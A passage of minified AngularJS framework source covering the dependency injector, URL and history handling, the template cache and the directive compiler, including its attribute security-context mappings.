n=u(n,t,i),n.unshift(null),new(Function.prototype.bind.apply(r,n))},get:r,annotate:vr.$$annotate,has:function(t){return s.hasOwnProperty(t+"Provider")||n.hasOwnProperty(t)}}}var tt,r;i=!0===i;var w={},a=[],g=new ef,s={$provide:{provider:l(k),factory:l(v),service:l(function(n,t){return v(n,["$injector",function(n){return n.instantiate(t)}])}),value:l(function(n,t){return v(n,ot(t),!1)}),constant:l(function(n,t){wi(n,"constant");s[n]=t;nt[n]=t}),decorator:function(n,t){var i=f.get(n+"Provider"),u=i.$get;i.$get=function(){var n=r.invoke(u,i);return r.invoke(t,null,{$delegate:n})}}}},f=s.$injector=d(s,function(n,t){et.isString(t)&&a.push(t);throw vi("unpr",a.join(" <- "));}),nt={},b=d(nt,function(n,t){var i=f.get(n+"Provider",t);return r.invoke(i.$get,i,void 0,n)}),r=b;return s.$injectorProvider={$get:ot(b)},r.modules=f.modules=y(),tt=p(n),r=b.get("$injector"),r.strictDi=i,t(tt,function(n){n&&r.invoke(n)}),r.loadNewModules=function(n){t(p(n),function(n){n&&r.invoke(n)})},r}function fv(){var n=!0;this.disableAutoScrolling=function(){n=!1};this.$get=["$window","$location","$rootScope",function(t,i,r){function s(n){var t=null;return Array.prototype.some.call(n,function(n){if("a"===lt(n))return t=n,!0}),t}function u(n){if(n){n.scrollIntoView();var i;i=f.yOffset;e(i)?i=i():kf(i)?(i=i[0],i="fixed"!==t.getComputedStyle(i).position?0:i.getBoundingClientRect().bottom):nt(i)||(i=0);i&&(n=n.getBoundingClientRect().top,t.scrollBy(0,n-i))}else t.scrollTo(0,0)}function f(n){n=h(n)?n:nt(n)?n.toString():i.hash();var t;n?(t=o.getElementById(n))?u(t):(t=s(o.getElementsByName(n)))?u(t):"top"===n&&u(null):u(null)}var o=t.document;return n&&r.$watch(function(){return i.hash()},function(n,t){n===t&&""===n||ga(function(){r.$evalAsync(f)})}),f}]}function yr(n,t){return!n&&!t?"":n?t?(c(n)&&(n=n.join(" ")),c(t)&&(t=t.join(" ")),n+" "+t):n:t}function ev(n){h(n)&&(n=n.split(" "));var i=y();return t(n,function(n){n.length&&(i[n]=!0)}),i}function ei(n){return o(n)?n:{}}function ov(n,i,r,e,o){function k(){y=null;nt()}function d(){c=ot();c=u(c)?null:c;at(c,g)&&(c=g);w=g=c}function nt(){var n=w;d();(v!==h.url()||n!==c)&&(v=h.url(),w=c,t(tt,function(n){n(h.url(),c)}))}var h=this,l=n.location,b=n.history,rt=n.setTimeout,ft=n.clearTimeout,p={},a=o(r);h.isMock=!1;h.$$completeOutstandingRequest=a.completeTask;h.$$incOutstandingRequestCount=a.incTaskCount;h.notifyWhenNoOutstandingRequests=a.notifyWhenNoPendingTasks;var c,w,v=l.href,et=i.find("base"),y=null,ot=e.history?function(){try{return b.state}catch(n){}}:s;d();h.url=function(t,i,r){var f,o;return(u(r)&&(r=null),l!==n.location&&(l=n.location),b!==n.history&&(b=n.history),t)?(f=w===r,t=ut(t).href,v===t&&(!e.history||f))?h:(o=v&&oi(v)===oi(t),v=t,w=r,!e.history||o&&f?(o||(y=t),i?l.replace(t):o?(i=l,r=t,f=r.indexOf("#"),r=-1===f?"":r.substr(f),i.hash=r):l.href=t,l.href!==t&&(y=t)):(b[i?"replaceState":"pushState"](r,"",t),d()),y&&(y=t),h):(y||l.href).replace(/#$/,"")};h.state=function(){return c};var tt=[],it=!1,g=null;h.onUrlChange=function(t){if(!it){if(e.history)f(n).on("popstate",k);f(n).on("hashchange",k);it=!0}return tt.push(t),t};h.$$applicationDestroyed=function(){f(n).off("hashchange popstate",k)};h.$$checkUrlChange=nt;h.baseHref=function(){var n=et.attr("href");return n?n.replace(/^(https?:)?\/\/[^/]*/,""):""};h.defer=function(n,t,i){var r;return t=t||0,i=i||a.DEFAULT_TASK_TYPE,a.incTaskCount(i),r=rt(function(){delete p[r];a.completeTask(n,i)},t),p[r]=i,r};h.defer.cancel=function(n){if(p.hasOwnProperty(n)){var t=p[n];return delete p[n],ft(n),a.completeTask(s,t),!0}return!1}}function sv(){this.$get=["$window","$log","$sniffer","$document","$$taskTrackerFactory",function(n,t,i,r,u){return new ov(n,r,t,i,u)}]}function hv(){this.$get=function(){function i(t,i){function a(n){n!==o&&(r?r===n&&(r=n.n):r=n,c(n.n,n.p),c(n,o),o=n,o.n=null)}function c(n,t){n!==t&&(n&&(n.p=t),t&&(t.n=n))}if(t in n)throw l("$cacheFactory")("iid",t);var s=0,p=v({},i,{id:t}),f=y(),h=i&&i.capacity||Number.MAX_VALUE,e=y(),o=null,r=null;return n[t]={put:function(n,t){if(!u(t)){if(h<Number.MAX_VALUE){var i=e[n]||(e[n]={key:n});a(i)}return n in f||s++,f[n]=t,s>h&&this.remove(r.key),t}},get:function(n){if(h<Number.MAX_VALUE){var t=e[n];if(!t)return;a(t)}return f[n]},remove:function(n){if(h<Number.MAX_VALUE){var t=e[n];if(!t)return;t===o&&(o=t.p);t===r&&(r=t.n);c(t.n,t.p);delete e[n]}n in f&&(delete f[n],s--)},removeAll:function(){f=y();s=0;e=y();o=r=null},destroy:function(){e=p=f=null;delete n[t]},info:function(){return v({},p,{size:s})}}}var n={};return i.info=function(){var i={};return t(n,function(n,t){i[t]=n.info()}),i},i.get=function(t){return n[t]},i}}function cv(){this.$get=["$cacheFactory",function(n){return n("templates")}]}function ws(i,l){function ut(n,i,r){var f=/^([@&]|[=<](\*?))(\??)\s*([\w$]*)$/,u=y();return t(n,function(n,t){if(n=n.trim(),n in et)u[t]=et[n];else{var e=n.match(f);if(!e)throw b("iscp",i,t,n,r?"controller bindings definition":"isolate scope definition");u[t]={mode:e[1][0],collection:"*"===e[2],optional:"?"===e[3],attrName:e[4]||t};e[4]&&(et[n]=u[t])}}),u}function ct(n){var t=n.charAt(0);if(!t||t!==a(t))throw b("baddir",n);if(n!==n.trim())throw b("baddir",n);}function vt(n){var i=n.require||n.controller&&n.name;return!c(i)&&o(i)&&t(i,function(n,t){var r=n.match(st);n.substring(r[0].length)||(i[t]=r[0]+t)}),i}var g={},kt=/^\s*directive:\s*([\w-]+)\s+(.*)$/,gt=/(([\w-]+)(?::([^;]+))?;?)/,ti=sa("ngSrc,ngSrcset,src,srcset"),st=/^(?:(\^\^?)?(\?)?(\^\^?)?)?/,ht=/^(on[a-z]+|formaction)$/,et=y(),w,tt,nt,it,rt,d;this.directive=function ri(n,r){return ar(n,"name"),wi(n,"directive"),h(n)?(ct(n),ar(r,"directiveFactory"),g.hasOwnProperty(n)||(g[n]=[],i.factory(n+"Directive",["$injector","$exceptionHandler",function(i,r){var u=[];return t(g[n],function(t,f){var o,c,s;try{if(o=i.invoke(t),e(o)?o={compile:ot(o)}:!o.compile&&o.link&&(o.compile=ot(o.link)),o.priority=o.priority||0,o.index=f,o.name=o.name||n,o.require=vt(o),c=o,s=o.restrict,s&&(!h(s)||!/[EACM]/.test(s)))throw b("badrestrict",s,n);c.restrict=s||"EA";o.$$moduleName=t.$$moduleName;u.push(o)}catch(l){r(l)}}),u}])),g[n].push(r)):t(n,vf(ri)),this};this.component=function fi(n,i){function r(n){function r(t){return e(t)||c(t)?function(i,r){return n.invoke(t,this,{$element:i,$attrs:r})}:t}var o=i.template||i.templateUrl?i.template:"",f={controller:u,controllerAs:lv(i.controller)||i.controllerAs||"$ctrl",template:r(o),templateUrl:r(i.templateUrl),transclude:i.transclude,scope:{},bindToController:i.bindings||{},restrict:"E",require:i.require};return t(i,function(n,t){"$"===t.charAt(0)&&(f[t]=n)}),f}if(!h(n))return t(n,vf(pi(this,fi))),this;var u=i.controller||function(){};return t(i,function(n,t){"$"===t.charAt(0)&&(r[t]=n,e(u)&&(u[t]=n))}),r.$inject=["$injector"],this.directive(n,r)};this.aHrefSanitizationTrustedUrlList=function(n){return r(n)?(l.aHrefSanitizationTrustedUrlList(n),this):l.aHrefSanitizationTrustedUrlList()};Object.defineProperty(this,"aHrefSanitizationWhitelist",{get:function(){return this.aHrefSanitizationTrustedUrlList},set:function(n){this.aHrefSanitizationTrustedUrlList=n}});this.imgSrcSanitizationTrustedUrlList=function(n){return r(n)?(l.imgSrcSanitizationTrustedUrlList(n),this):l.imgSrcSanitizationTrustedUrlList()};Object.defineProperty(this,"imgSrcSanitizationWhitelist",{get:function(){return this.imgSrcSanitizationTrustedUrlList},set:function(n){this.imgSrcSanitizationTrustedUrlList=n}});w=!0;this.debugInfoEnabled=function(n){return r(n)?(w=n,this):w};tt=!1;this.strictComponentBindingsEnabled=function(n){return r(n)?(tt=n,this):tt};nt=10;this.onChangesTtl=function(n){return arguments.length?(nt=n,this):nt};it=!0;this.commentDirectivesEnabled=function(n){return arguments.length?(it=n,this):it};rt=!0;this.cssClassDirectivesEnabled=function(n){return arguments.length?(rt=n,this):rt};d=y();this.addPropertySecurityContext=function(n,t,i){var r=n.toLowerCase()+"|"+t.toLowerCase();if(r in d&&d[r]!==i)throw b("ctxoverride",n,t,d[r],i);return d[r]=i,this},function(){function n(n,i){t(i,function(t){d[t.toLowerCase()]=n})}n(k.HTML,["iframe|srcdoc","*|innerHTML","*|outerHTML"]);n(k.CSS,["*|style"]);n(k.URL,"area|href area|ping a|href a|ping blockquote|cite body|background del|cite input|src ins|cite q|cite".split(" "));n(k.MEDIA_URL,"audio|src img|src img|srcset source|src source|srcset track|src video|src video|poster".split(" "));n(k.RESOURCE_URL,"*|formAction applet|code applet|codebase base|href embed|src frame|src form|action head|profile html|manifest iframe|src link|href media|src object|codebase object|data script|src".split(" "))}();this.$get=["$injector","$interpolate","$exceptionHandler","$templateRequest","$parse","$controller","$rootScope","$sce","$animate",function(i,r,l,k,et,ot,ct,vt,ri){function br(){try{if(!--vr)throw ei=void 0,b("infchng",nt);ct.$apply(function(){for(var n=0,t=ei.length;n<t;++n)try{ei[n]()}catch(i){l(i)}ei=void 0})}finally{vr++}}function gi(n,t){if(!n)return n;if(!h(n))throw b("srcset",t,n.toString());for(var r="",i=p(n),f=/(\s+\d+x\s*,|\s+\d+w\s*,|\s+,|,\s+)/,f=/\s/.test(i)?f:/(,)/,i=i.split(f),f=Math.floor(i.length/2),u=0;u<f;u++)var e=2*u,r=r+vt.getTrustedMediaUrl(p(i[e])),r=r+(" "+p(i[e+1]));return i=p(i[2*u]).split(/\s/),r+=vt.getTrustedMediaUrl(p(i[0])),2===i.length&&(r+=" "+p(i[1])),r}function vi(n,t){if(t)for(var u=Object.keys(t),r,i=0,f=u.length;i<f;i++)r=u[i],this[r]=t[r];else this.$attr={};this.$$element=n}function kr(n,t,i){lr.innerHTML="<span "+t+">";t=lr.firstChild.attributes;var r=t[0];t.removeNamedItem(r.name);r.value=i;n.attributes.setNamedItem(r)}function yi(n,t){try{n.addClass(t)}catch(i){}}function fi(n,t,i,r,u){var o,e;return n instanceof f||(n=f(n)),o=wi(n,t,n,i,r,u),fi.$$addScopeClass(n),e=null,function(t,i,r){var s,h,c;if(!n)throw b("multilink");if(ar(t,"scope"),u&&u.needsNewScope&&(t=t.$parent.$new()),r=r||{},s=r.parentBoundTranscludeFn,h=r.transcludeControllers,r=r.futureParentElement,s&&s.$$boundTransclude&&(s=s.$$boundTransclude),e||(e=(r=r&&r[0])?"foreignobject"!==lt(r)&&ft.call(r).match(/SVG/)?"svg":"html":"html"),r="html"!==e?f(di(e,f("<div><\/div>").append(n).html())):i?tr.clone.call(n):n,h)for(c in h)r.data("$"+c+"Controller",h[c].instance);return fi.$$addScopeInfo(r,t),i&&i(r,t),o&&o(t,r,r,s),i||(n=o=null),r}}function wi(n,t,i,r,u,e){function p(n,i,r,u){var o,h,c,e,a,y,l;if(v)for(l=Array(i.length),e=0;e<s.length;e+=3)o=s[e],l[o]=i[o];else l=i;for(e=0,a=s.length;e<a;)h=l[s[e++]],i=s[e++],o=s[e++],i?(i.scope?(c=n.$new(),fi.$$addScopeInfo(f(h),c)):c=n,y=i.transcludeOnThisElement?si(n,i.transclude,u):!i.templateOnThisElement&&u?u:!u&&t?si(n,t):null,i(o,c,h,r,y)):o&&o(n,h.childNodes,void 0,u)}for(var s=[],w=c(n)||n instanceof f,h,l,a,y,v,o=0;o<n.length;o++)h=new vi,11===wt&&dr(n,o,w),l=bi(n[o],[],h,0===o?r:void 0,u),(e=l.length?rr(l,n[o],h,t,i,null,[],[],e):null)&&e.scope&&fi.$$addScopeClass(h.$$element),h=e&&e.terminal||!(a=n[o].childNodes)||!a.length?null:wi(a,e?(e.transcludeOnThisElement||!e.templateOnThisElement)&&e.transclude:t),(e||h)&&(s.push(o,e,h),y=!0,v=v||e),e=null;return y?p:null}function dr(n,t,i){var u=n[t],f=u.parentNode,r;if(u.nodeType===ii)for(;;){if(r=f?u.nextSibling:n[t+1],!r||r.nodeType!==ii)break;u.nodeValue+=r.nodeValue;r.parentNode&&r.parentNode.removeChild(r);i&&r===n[t+1]&&n.splice(t+1,1)}}function si(n,t,i){function u(r,u,f,e,o){return r||(r=n.$new(!1,o),r.$$transcluded=!0),t(r,u,{parentBoundTranscludeFn:i,transcludeControllers:f,futureParentElement:e})}var f=u.$$slots=y();for(var r in t.$$slots)f[r]=t.$$slots[r]?si(n,t.$$slots[r],i):null;return u}function bi(n,t,i,r,u){var s=i.$attr,y;switch(n.nodeType){case 1:y=lt(n);ci(t,yt(y),"E",r,u);for(var a,e,f,v,c,w=n.attributes,b=0,rt=w&&w.length;b<rt;b++){var g=!1,nt=!1,k=!1,d=!1,tt=!1,it;a=w[b];e=a.name;v=a.value;f=yt(e.toLowerCase());(c=f.match(yu))?(k="Attr"===c[1],d="Prop"===c[1],tt="On"===c[1],e=e.replace(bc,"").toLowerCase().substr(4+c[1].length).replace(/_(.)/g,function(n,t){return t.toUpperCase()})):(it=f.match(pu))&&tu(it[1])&&(g=e,nt=e.substr(0,e.length-5)+"end",e=e.substr(0,e.length-6));d||tt?(i[f]=v,s[f]=a.name,d?su(n,t,f,e):t.push(oc(et,ct,l,f,e,!1))):(f=yt(e.toLowerCase()),s[f]=e,(k||!i.hasOwnProperty(f))&&(i[f]=v,vs(n,f)&&(i[f]=!0)),hu(n,t,v,f,k),ci(t,f,"A",r,u,g,nt))}if("input"===y&&"hidden"===n.getAttribute("type")&&n.setAttribute("autocomplete","off"),!vu)break;if(s=n.className,o(s)&&(s=s.animVal),h(s)&&""!==s)for(;n=gt.exec(s);)f=yt(n[2]),ci(t,f,"C",r,u)&&(i[f]=p(n[3])),s=s.substr(n.index+n[0].length);break;case ii:uu(t,n.nodeValue);break;case 8:if(!lu)break;gr(n,t,i,r,u)}return t.sort(ru),t}function gr(n,t,i,r,u){var f,e;try{f=kt.exec(n.nodeValue);f&&(e=yt(f[1]),ci(t,e,"M",r,u)&&(i[e]=p(f[2])))}catch(o){}}function nr(n,t,i){var r=[],u=0;if(t&&n.hasAttribute&&n.hasAttribute(t)){do{if(!n)throw b("uterdir",t,i);1===n.nodeType&&(n.hasAttribute(t)&&u++,n.hasAttribute(i)&&u--);r.push(n);n=n.nextSibling}while(0<u)}else r.push(n);return f(r)}function ir(n,t,i){return function(r,u,f,e,o){return u=nr(u[0],t,i),n(r,u,f,e,o)}}function ki(n,t,i,r,u,f){var e;return n?fi(t,i,r,u,f):function(){return e||(e=fi(t,i,r,u,f),t=i=f=null),e.apply(this,arguments)}}function rr(i,r,s,h,a,w,k,d,g){function gi(n,t,i,r){n&&(i&&(n=ir(n,i,r)),n.require=nt.require,n.directiveName=st,(tt===nt||nt.$$isolateScope)&&(n=er(n,{isolateScope:!0})),k.push(n));t&&(i&&(t=ir(t,i,r)),t.require=nt.require,t.directiveName=st,(tt===nt||nt.$$isolateScope)&&(t=er(t,{isolateScope:!0})),d.push(t))}function pt(n,i,h,a,y){function lt(n,t,i,r){var e,f;if(sr(n)||(r=i,i=t,t=n,n=void 0),ii&&(e=it),i||(i=ii?w.parent():w),r){if(f=y.$$slots[r],f)return f(n,t,e,i,st);if(u(f))throw b("noslot",r,bt(w));}else return y(n,t,e,i,st)}var g,rt,p,nt,et,it,ut,w,ct,st;r===h?(a=s,w=s.$$element):(w=f(h),a=new vi(w,s));et=i;tt?nt=i.$new(!0):ft&&(et=i.$parent);y&&(ut=lt,ut.$$boundTransclude=y,ut.isSlotFilled=function(n){return!!y.$$slots[n]});ot&&(it=nu(w,a,ut,ot,nt,i,tt));tt&&(fi.$$addScopeInfo(w,nt,!0,!(ht&&(ht===tt||ht===tt.$$originalDirective))),fi.$$addScopeClass(w,!0),nt.$$isolateBindings=tt.$$isolateBindings,rt=cr(i,a,nt,nt.$$isolateBindings,tt),rt.removeWatches&&nt.$on("$destroy",rt.removeWatches));for(g in it)rt=ot[g],p=it[g],ct=rt.$$bindings.bindToController,p.instance=p(),w.data("$"+rt.name+"Controller",p.instance),p.bindingInfo=cr(et,a,p.instance,ct,rt);for(t(ot,function(n,t){var i=n.require;n.bindToController&&!c(i)&&o(i)&&v(it[t].instance,hi(t,i,w,it))}),t(it,function(n){var t=n.instance;if(e(t.$onChanges))try{t.$onChanges(n.bindingInfo.initialChanges)}catch(i){l(i)}if(e(t.$onInit))try{t.$onInit()}catch(r){l(r)}e(t.$doCheck)&&(et.$watch(function(){t.$doCheck()}),t.$doCheck());e(t.$onDestroy)&&et.$on("$destroy",function(){t.$onDestroy()})}),g=0,rt=k.length;g<rt;g++)p=k[g],or(p,p.isolateScope?nt:i,w,a,p.require&&hi(p.directiveName,p.require,w,it),ut);for(st=i,tt&&(tt.template||null===tt.templateUrl)&&(st=nt),n&&n(st,h.childNodes,void 0,y),g=d.length-1;0<=g;g--)p=d[g],or(p,p.isolateScope?nt:i,w,a,p.require&&hi(p.directiveName,p.require,w,it),ut);t(it,function(n){n=n.instance;e(n.$postLink)&&n.$postLink()})}var gt,ui,et,wi,ei,si,tr,ci;g=g||{};for(var dt=-Number.MAX_VALUE,ft=g.newScopeDirective,ot=g.controllerDirectives,tt=g.newIsolateScopeDirective,ht=g.templateDirective,ti=g.nonTlbTranscludeDirective,ai=!1,yi=!1,ii=g.hasElementTranscludeDirective,it=s.$$element=f(r),nt,st,ut,ct=h,wt,at=!1,ri=!1,rt,vt=0,kt=i.length;vt<kt;vt++){if(nt=i[vt],gt=nt.$$start,ui=nt.$$end,gt&&(it=nr(r,gt,ui)),ut=void 0,dt>nt.priority)break;if((rt=nt.scope)&&(nt.templateUrl||(o(rt)?(oi("new/isolated scope",tt||ft,nt,it),tt=nt):oi("new/isolated scope",tt,nt,it)),ft=ft||nt),st=nt.name,!at&&(nt.replace&&(nt.templateUrl||nt.template)||nt.transclude&&!nt.$$tlb)){for(rt=vt+1;at=i[rt++];)if(at.transclude&&!at.$$tlb||at.replace&&(at.templateUrl||at.template)){ri=!0;break}at=!0}if(!nt.templateUrl&&nt.controller&&(ot=ot||y(),oi("'"+st+"' controller",ot[st],nt,it),ot[st]=nt),rt=nt.transclude)if(ai=!0,nt.$$tlb||(oi("transclusion",ti,nt,it),ti=nt),"element"===rt)ii=!0,dt=nt.priority,ut=it,it=s.$$element=f(fi.$$createComment(st,s[st])),r=it[0],li(a,ni.call(ut,0),r),ct=ki(ri,ut,h,dt,w&&w.name,{nonTlbTranscludeDirective:ti});else{if(et=y(),o(rt)){ut=n.document.createDocumentFragment();wi=y();ei=y();t(rt,function(n,t){var i="?"===n.charAt(0);n=i?n.substring(1):n;wi[n]=t;et[t]=null;ei[t]=i});t(it.contents(),function(t){var i=wi[yt(lt(t))];i?(ei[i]=!0,et[i]=et[i]||n.document.createDocumentFragment(),et[i].appendChild(t)):ut.appendChild(t)});t(ei,function(n,t){if(!n)throw b("reqslot",t);});for(si in et)et[si]&&(ct=f(et[si].childNodes),et[si]=ki(ri,ct,h));ut=f(ut.childNodes)}else ut=f(fe(r)).contents();it.empty();ct=ki(ri,ut,h,void 0,void 0,{needsNewScope:nt.$$isolateScope||nt.$$newScope});ct.$$slots=et}if(nt.template)if(yi=!0,oi("template",ht,nt,it),ht=nt,rt=e(nt.template)?nt.template(it,s):nt.template,rt=wr(rt),nt.replace){if(w=nt,ut=eo.test(rt)?ks(di(nt.templateNamespace,p(rt))):[],r=ut[0],1!==ut.length||1!==r.nodeType)throw b("tplrt",st,"");li(a,it,r);kt={$attr:{}};rt=bi(r,[],kt);tr=i.splice(vt+1,i.length-(vt+1));(tt||ft)&&ur(rt,tt,ft);i=i.concat(rt).concat(tr);fr(s,kt);kt=i.length}else it.html(rt);if(nt.templateUrl)yi=!0,oi("template",ht,nt,it),ht=nt,nt.replace&&(w=nt),pt=iu(i.splice(vt,i.length-vt),it,s,a,ai&&ct,k,d,{controllerDirectives:ot,newScopeDirective:ft!==nt&&ft,newIsolateScopeDirective:tt,templateDirective:ht,nonTlbTranscludeDirective:ti}),kt=i.length;else if(nt.compile)try{wt=nt.compile(it,s,ct);ci=nt.$$originalDirective||nt;e(wt)?gi(null,pi(ci,wt),gt,ui):wt&&gi(pi(ci,wt.pre),pi(ci,wt.post),gt,ui)}catch(rr){l(rr,bt(it))}nt.terminal&&(pt.terminal=!0,dt=Math.max(dt,nt.priority))}return pt.scope=ft&&!0===ft.scope,pt.transcludeOnThisElement=ai,pt.templateOnThisElement=yi,pt.transclude=ct,g.hasElementTranscludeDirective=ii,pt}function hi(n,i,r,u){var f,s,e,l;if(h(i)){if(e=i.match(st),i=i.substring(e[0].length),s=e[1]||e[3],e="?"===e[2],"^^"===s?r=r.parent():f=(f=u&&u[i])&&f.instance,f||(l="$"+i+"Controller",f="^^"===s&&r[0]&&9===r[0].nodeType?null:s?r.inheritedData(l):r.data(l)),!f&&!e)throw b("ctreq",i,n);}else if(c(i))for(f=[],s=0,e=i.length;s<e;s++)f[s]=hi(n,i[s],r,u);else o(i)&&(f={},t(i,function(t,i){f[i]=hi(n,t,r,u)}));return f||null}function nu(n,t,i,r,u,f,e){var c=y();for(var l in r){var o=r[l],s={$scope:o===e||o.$$isolateScope?u:f,$element:n,$attrs:t,$transclude:i},h=o.controller;"@"===h&&(h=t[o.name]);s=ot(h,s,!0,o.controllerAs);c[o.name]=s;n.data("$"+o.name+"Controller",s.instance)}return c}function ur(n,t,i){for(var r=0,u=n.length;r<u;r++)n[r]=pf(n[r],{$$isolateScope:t,$$newScope:i})}function ci(n,t,r,f,e,s,h){var c,v,p;if(t===e)return null;if(c=null,g.hasOwnProperty(t))for(e=i.get(t+"Directive"),v=0,p=e.length;v<p;v++)if(t=e[v],(u(f)||f>t.priority)&&-1!==t.restrict.indexOf(r)){if(s&&(t=pf(t,{$$start:s,$$end:h})),!t.$$bindings){var l=c=t,y=t.name,a={isolateScope:null,bindToController:null};if(o(l.scope)&&(!0===l.bindToController?(a.bindToController=ut(l.scope,y,!0),a.isolateScope={}):a.isolateScope=ut(l.scope,y,!1)),o(l.bindToController)&&(a.bindToController=ut(l.bindToController,y,!0)),a.bindToController&&!l.controller)throw b("noctrl",y);c=c.$$bindings=a;o(c.isolateScope)&&(t.$$isolateBindings=c.isolateScope)}n.push(t);c=t}return c}function tu(n){if(g.hasOwnProperty(n))for(var r=i.get(n+"Directive"),t=0,u=r.length;t<u;t++)if(n=r[t],n.multiElement)return!0;return!1}function fr(n,i){var r=i.$attr,u=n.$attr;t(n,function(t,u){"$"!==u.charAt(0)&&(i[u]&&i[u]!==t&&(t=t.length?t+(("style"===u?";":" ")+i[u]):i[u]),n.$set(u,t,!0,r[u]))});t(i,function(t,i){n.hasOwnProperty(i)||"$"===i.charAt(0)||(n[i]=t,"class"!==i&&"style"!==i&&(u[i]=r[i]))})}function iu(n,i,r,u,s,h,c,a){var y=[],w,d,g=i[0],v=n.shift(),tt=pf(v,{templateUrl:null,transclude:null,replace:null,$$originalDirective:v}),nt=e(v.templateUrl)?v.templateUrl(i,r):v.templateUrl,it=v.templateNamespace;return i.empty(),k(nt).then(function(e){var l,rt,k,ft;if(e=wr(e),v.replace){if(e=eo.test(e)?ks(di(it,p(e))):[],l=e[0],1!==e.length||1!==l.nodeType)throw b("tplrt",v.name,nt);e={$attr:{}};li(u,i,l);k=bi(l,[],e);o(v.scope)&&ur(k,!0);n=k.concat(n);fr(r,e)}else l=g,i.html(e);for(n.unshift(tt),w=rr(n,l,r,s,i,v,h,c,a),t(u,function(n,t){n===l&&(u[t]=i[0])}),d=wi(i[0].childNodes,s);y.length;){e=y.shift();rt=y.shift();var et=y.shift(),ut=y.shift(),k=i[0];e.$$destroyed||(rt!==g&&(ft=rt.className,a.hasElementTranscludeDirective&&v.replace||(k=fe(l)),li(et,f(rt),k),yi(f(k),ft)),rt=w.transcludeOnThisElement?si(e,w.transclude,ut):ut,w(d,e,k,u,rt))}y=null}).catch(function(n){bf(n)&&l(n)}),function(n,t,i,r,u){n=u;t.$$destroyed||(y?y.push(t,i,r,n):(w.transcludeOnThisElement&&(n=si(t,w.transclude,u)),w(d,t,i,r,n)))}}function ru(n,t){var i=t.priority-n.priority;return 0!==i?i:n.name!==t.name?n.name<t.name?-1:1:n.index-t.index}function oi(n,t,i,r){function u(n){return n?" (module: "+n+")":""}if(t)throw b("multidir",t.name,u(t.$$moduleName),i.name,u(i.$$moduleName),n,bt(r));}function uu(n,t){var i=r(t,!0);i&&n.push({priority:0,compile:function(n){n=n.parent();var t=!!n.length;return t&&fi.$$addBindingClass(n),function(n,r){var u=r.parent();t||fi.$$addBindingClass(u);fi.$$addBindingInfo(u,i.expressions);n.$watch(i,function(n){r[0].nodeValue=n})}}})}function di(t,i){t=a(t||"html");switch(t){case"svg":case"math":var r=n.document.createElement("div");return r.innerHTML="<"+t+">"+i+"<\/"+t+">",r.childNodes[0].childNodes;default:return i}}function fu(n,t){return"srcdoc"===t?vt.HTML:"src"===t||"ngSrc"===t?-1===["img","video","audio","source","track"].indexOf(n)?vt.RESOURCE_URL:vt.MEDIA_URL:"xlinkHref"===t?"image"===n?vt.MEDIA_URL:"a"===n?vt.URL:vt.RESOURCE_URL:"form"===n&&"action"===t||"base"===n&&"href"===t||"link"===n&&"href"===t?vt.RESOURCE_URL:"a"===n&&("href"===t||"ngHref"===t)?vt.URL:void 0}function eu(n,t){var i=t.toLowerCase();return d[n+"|"+i]||d["*|"+i]}function ou(n){return gi(vt.valueOf(n),"ng-prop-srcset")}function su(n,t,i,r){if(ht.test(r))throw b("nodomevents");n=lt(n);var f=eu(n,r),u=ui;"srcset"!==r||"img"!==n&&"source"!==n?f&&(u=vt.getTrusted.bind(vt,f)):u=ou;t.push({priority:100,compile:function(n,t){var f=et(t[i]),e=et(t[i],function(n){return vt.valueOf(n)});return{pre:function(n,t){function i(){var i=f(n);t[0][r]=u(i)}i();n.$watch(e,i)}}}})}function hu(n,t,i,u,f){var o=lt(n),s=fu(o,u),h=ti[u]||f,e=r(i,!f,s,h);if(e){if("multiple"===u&&"select"===o)throw b("selmulti",bt(n));if(ht.test(u))throw b("nodomevents");t.push({priority:100,compile:function(){return{pre:function(n,t,f){t=f.$$observers||(f.$$observers=y());var o=f[u];o!==i&&(e=o&&r(o,!0,s,h),i=o);e&&(f[u]=e(n),(t[u]||(t[u]=[])).$$inter=!0,(f.$$observers&&f.$$observers[u].$$scope||n).$watch(e,function(n,t){"class"===u&&n!==t?f.$updateClass(n,t):f.$set(u,n)}))}}}})}}function li(t,i,r){var e=i[0],s=i.length,c=e.parentNode,u,o,h;if(t)for(u=0,o=t.length;u<o;u++)if(t[u]===e){for(t[u++]=r,o=u+s-1,h=t.length;u<h;u++,o++)o<h?t[u]=t[o]:delete t[u];t.length-=s-1;t.context===e&&(t.context=r);break}for(c&&c.replaceChild(r,e),t=n.document.createDocumentFragment(),u=0;u<s;u++)t.appendChild(i[u]);for(f.hasData(e)&&(f.data(r,f.data(e)),f(e).off("$destroy")),f.cleanData(t.querySelectorAll("*")),u=1;u<s;u++)delete i[u];i[0]=r;i.length=1}function er(n,t){return v(function(){return n.apply(null,arguments)},n,t)}function or(n,t,i,r,u,f){try{n(t,i,r,u,f)}catch(e){l(e,bt(i))}}function ai(n,t){if(tt)throw b("missingattr",n,t);}function cr(n,i,u,f,o){function v(t,i,r){e(u.$onChanges)&&!df(i,r)&&(ei||(n.$$postDigest(br),ei=[]),c||(c={},ei.push(y)),c[t]&&(r=c[t].previousValue),c[t]=new au(r,i))}function y(){u.$onChanges(c);c=void 0}var l=[],a={},c;return t(f,function(t,f){var e=t.attrName,c=t.optional,p,y,d,k,g,w;switch(t.mode){case"@":c||pt.call(i,e)||(ai(e,o.name),u[f]=i[e]=void 0);c=i.$observe(e,function(n){(h(n)||dt(n))&&(v(f,n,u[f]),u[f]=n)});i.$$observers[e].$$scope=n;p=i[e];h(p)?u[f]=r(p)(n):dt(p)&&(u[f]=p);a[f]=new au(ao,u[f]);l.push(c);break;case"=":if(!pt.call(i,e)){if(c)break;ai(e,o.name);i[e]=void 0}if(c&&!i[e])break;y=et(i[e]);k=y.literal?at:df;d=y.assign||function(){p=u[f]=y(n);throw b("nonassign",i[e],e,o.name);};p=u[f]=y(n);c=function(t){return k(t,u[f])||(k(t,p)?d(n,t=u[f]):u[f]=t),p=t};c.$stateful=!0;c=t.collection?n.$watchCollection(i[e],c):n.$watch(et(i[e],c),null,y.literal);l.push(c);break;case"<":if(!pt.call(i,e)){if(c)break;ai(e,o.name);i[e]=void 0}if(c&&!i[e])break;y=et(i[e]);g=y.literal;w=u[f]=y(n);a[f]=new au(ao,u[f]);c=n[t.collection?"$watchCollection":"$watch"](y,function(n,t){if(t===n){if(t===w||g&&at(t,w))return;t=w}v(f,n,t);u[f]=n});l.push(c);break;case"&":if(c||pt.call(i,e)||ai(e,o.name),y=i.hasOwnProperty(e)?et(i[e]):s,y===s&&c)break;u[f]=function(t){return y(n,t)}}}),{initialChanges:a,removeWatches:l.length&&function(){for(var n=0,t=l.length;n<t;++n)l[n]()}}}var 